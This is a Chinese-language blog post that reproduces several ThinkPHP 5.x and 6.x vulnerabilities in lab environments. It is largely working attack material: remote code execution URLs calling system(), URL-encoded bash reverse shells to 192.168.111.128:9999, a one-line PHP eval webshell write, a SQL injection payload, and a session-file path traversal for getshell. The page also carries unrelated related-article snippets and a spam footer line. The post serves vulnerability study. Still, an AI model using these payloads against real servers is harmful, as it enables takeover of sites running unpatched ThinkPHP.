<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ThinkPHP常見框架漏洞復現分析

    VSole2022-06-15 08:33:29

    Thinkphp是一個國內輕量級的開發框架,采用php+apache,在更新迭代中,thinkphp也經常爆出各種漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前兩個版本已經停止更新,一般也沒有人再繼續用,所以就不再做復現了,本篇文章主要介紹下thinkphp5、6的漏洞

    Thinkphp5 5.0.22/5.1.29 遠程代碼執行漏洞

    漏洞成因:由于沒有正確處理控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下)可以執行任意方法,從而導致遠程命令執行漏洞。

    影響版本:

    • 5.0
    • 5.1

    環境:vulhub

    驗證漏洞POC

    http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

    簡單說一下POC:invokefunction調用call_user_func_array方法, call_user_func_array函數接受兩個參數,第一個為函數名,第二個為函數參數數組,上面的意思是通過call_user_func_array函數調用system函數執行whoami命令。

    此漏洞產生的關鍵原因在routeCheck函數中,關鍵代碼如下


    // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索        if (false === $result) {            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);        }//      var_dump($result['module']);        return $result;    }
    

    上述代碼中第3行的Route::parseUrl函數只是簡單的將變量$path=index/think\app/invokefunction按斜杠符號'/'分組,并沒有考慮符號反斜杠'\'的情況 ,result的值為如下所示:


    $result = array[3]  $result[0] = (string) index  $result[1] = (string) think\app  $result[2] = (string) invokefunction
    

    最終導致傳入exec函數的控制器為think\app,而最后通過 $reflect->invokeArgs(isset($class) ? $class : null 來解析類和參數,從而導致命令執行漏洞。

    反彈shell命令(需進行url編碼)


    http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.111.128/9999%200%3E%261%22
    

    或者寫入一句話(同樣url編碼)


    http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20
    

    ThinkPHP5 5.0.23 遠程代碼執行漏洞

    漏洞成因:其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。

    影響版本

    • 5.0< ThinkPHP<5.0.23
    • 5.1< ThinkPHP<5.1.31

    環境:vulhub

    驗證漏洞POC(這里需要注意加上Content-Type: application/x-www-form-urlencoded將請求以URL編碼發送)


    POST /index.php?s=captcha HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
    

    反彈shell(需進行url編碼)


    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.128/9999+0>%261"
    

    thinkphp 5.0.23 rce源碼下載:https://github.com/top-think/framework/tree/v5.0.23

    感興趣的師傅可以看看

    ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

    漏洞成因:本次漏洞存在于 Builder 類的 parseData 方法中。由于程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。

    影響版本: 

    • 5.0.13<=ThinkPHP<=5.0.15 
    • 5.1.0<=ThinkPHP<=5.1.5

    環境搭建:這里vulnhub docker環境我在kali運行一直報錯,就使用composer搭建環境吧

    1、先下載composer


    curl -sS https://getcomposer.org/installer | php
    

    2、下載完成之后,要把composer.phar文件移動到bin目錄里面,方便全局使用composer命令


    mv composer.phar /usr/local/bin/composer
    

    3、切換阿里云Composer鏡像


    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
    

    4、獲取think5.0.15代碼


    composer create-project --prefer-dist topthink/think=5.0.15 v5.0.15
    

    下載源碼后,需要對application/index/controller/Index.php內容進行修改,如下


    namespace app\index\controller;
    use app\index\model\User;
    class Index{    public function index(){        $ids = input('ids/a');        $t = new User();        $result = $t->where('id', 'in', $ids)->select();        foreach($result as $row) {            echo "
    Hello, {$row['username']}
    ";        }    }}
    

    創建數據庫信息如下


    create database 1_ry;use 1_ry;create table users(  id int primary key auto_increment,  username varchar(50) not null,);insert into users(id,username) values(1,'1_ry');
    

    然后在 /application/database.php配置數據庫,并開啟application/config.php中的app_debug和app_trace

    配置完成后訪問


    http://127.0.0.1/v5.0.15/public/index.php/?username=)%20union%20select%20updatexml(1,concat(0x7,database(),0x7e),1)%23
    

    這是一個比較雞肋的SQL注入漏洞。必須存在一個這樣的注入點才能利用,并且沒開啟 app_debug 是無法看到 SQL 報錯信息的,限制很多

    ThinkPHP v6.0.x 任意文件操作漏洞

    漏洞描述:在開啟Session的情況下可以導致創建任意文件以及刪除任意文件,特定情況下可以getshell

    影響版本:6.0.0<=thinphp<=6.0.2

    環境同樣使用composer下載源碼搭建, PHP version ">= 7.4.0"


    composer create-project --prefer-dist topthink/think=6.0.2 v6.0.2
    

    默認是thinkphp6最新版本的,漏洞是已經修復了的,所以我們需要對程序進行降級


    composer require topthink/framework:6.0.2
    

    復現過程:

    寫入的session內容是由實際的后端業務邏輯來決定的,所以說只有苛刻的條件下才能寫入webshell。

    我們在app\controller\index.php中增加一些代碼后,如下


    namespace app\controller;use think\facade\Session;use app\BaseController;class Index extends BaseController{    public function index(){        Session::set('name','thinkphp');        return 1;    }}
    

    thinkphp6默認是沒有開啟session功能的,我們需要在app/middleware.php文件中,取消session中間件的注釋,設置為如圖

    搭建好環境后打開頁面如圖

    抓包只需要構造PHPSESSID的值即可,長度為32

    生成的session文件保存在\runtime\session

    里面的內容經過了序列化操作


    a:1:{s:4:"name";s:8:"thinkphp";}
    

    如果要利用這個漏洞getshell的話,還要解決兩個問題

    • session文件內容可控,如果后端需要有類似的Session::set('name', $_POST['a']);代碼才可以利用
    • thinkphp的網站一般會把 /public 設置為網站的根目錄,而生成的文件是在/runtime/session文件夾下面的,默認是訪問不到的但是這個通過,即可繞過PHPSESSID=/../../../public/aaaaaaaaaaa.php

    ThinkPHP v6.0.x 反序列化漏洞

    影響版本:thinkPHP v6.0.0-6.0.3

    環境:使用上一個漏洞的環境

    版本安裝后默認使用單應用模式部署,url訪問受到路由模式的影響,為了使用方便,我們先要去/config/app.php  中將with_route => false

    需要在根目錄下的 /app/controller的index.php里面存在unserialize()函數且為可控點,例如存在


    public function l_Ry(){        $a = $_POST['a'];        echo $a;        unserialize($a);    }
    

    POST傳參數a


    http://127.0.0.1/v6.0.2/public/index.php/index/l_Ry
    

    至此環境就搭建完成了

    我跟著網上的資料大概分析了一下

    • https://blog.csdn.net/cosmoslin/article/details/123102811
    • https://xz.aliyun.com/t/9546#toc-16
    • https://blog.csdn.net/weixin_45794666/article/details/123237118
    • https://xz.aliyun.com/t/9405#toc-3

    漏洞的一般起點在__destruct()函數,可利用的函數在vendor\topthink\think-orm\src\Model.php

    中間的過程太繁雜,大體和參考的文章差不多就不寫出來了,順著往下找,最終利用點為


    $value = $closure($value, $this->data);
    

    完整的POP利用鏈為__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()——>toJson()-->toArray()——>getAttr()——>getData()——>getRealFieldName()——>getValue()

    但最后無論是自己構造的poc還是參考文章的poc,全都復現失敗

    要是有師傅復現成功了希望能發篇文章讓小弟學習學習。

    漏洞session
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    分別是Session文件漏洞、SQL注入漏洞、腳本命令執行漏洞、全局變量漏洞和文件漏洞。黑客可以根據惡意程序返回的結果獲取相應的信息。這就是月行胃的SQL注入漏洞
    跨語言移植一直是技術領域內難以解決的問題,需要解決語言之間的約束,好在先前我們成功使用 Go 實現了 IIOP 協議通信,有了前車之鑒,所以這次我們將繼續使用跨語言方式實現 Flask Session 偽造。本文以 Apache Superset 權限繞過漏洞(CVE-2023-27524) 為例講述我們是如何在 Go 中實現 Flask 框架的 Session 驗證、生成功能的。
    但由于框架沒有對參數進行驗證,導致攻擊者可以設置$_POST['_method']='__construct'而讓該類的變量被覆蓋。
    CVE-2022-25237 Bonitasoft Platform 存在 Auth AP I認證繞過漏洞,通過精心構造 payload 可導致遠程代碼執行,同時還發現還發現了一處未公開的反序列化漏洞,并結合 Tomcat 實現了命令回顯。
    起源是在某個數據包里看到url=這個關鍵字,當時第一想到會不會有SSRF漏洞
    微軟警告威脅行為者越來越多地濫用 Internet 信息服務 (IIS) 擴展來在服務器中建立隱蔽的后門并在目標網絡中保持持久性。 IIS 后門也很難檢測,因為它們遵循與合法且無害的模塊相同的代碼結構。
    收到相關通知后隨即進場應急。目標主機已禁用網卡斷網處置。同樣未發現異常,勒索程序并未運行。根據關鍵字進行搜索。根據信息收集的結果進行測試,發現存在漏洞
    紅隊滲透項目之MinUv1
    2022-07-05 21:13:22
    紅隊滲透
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类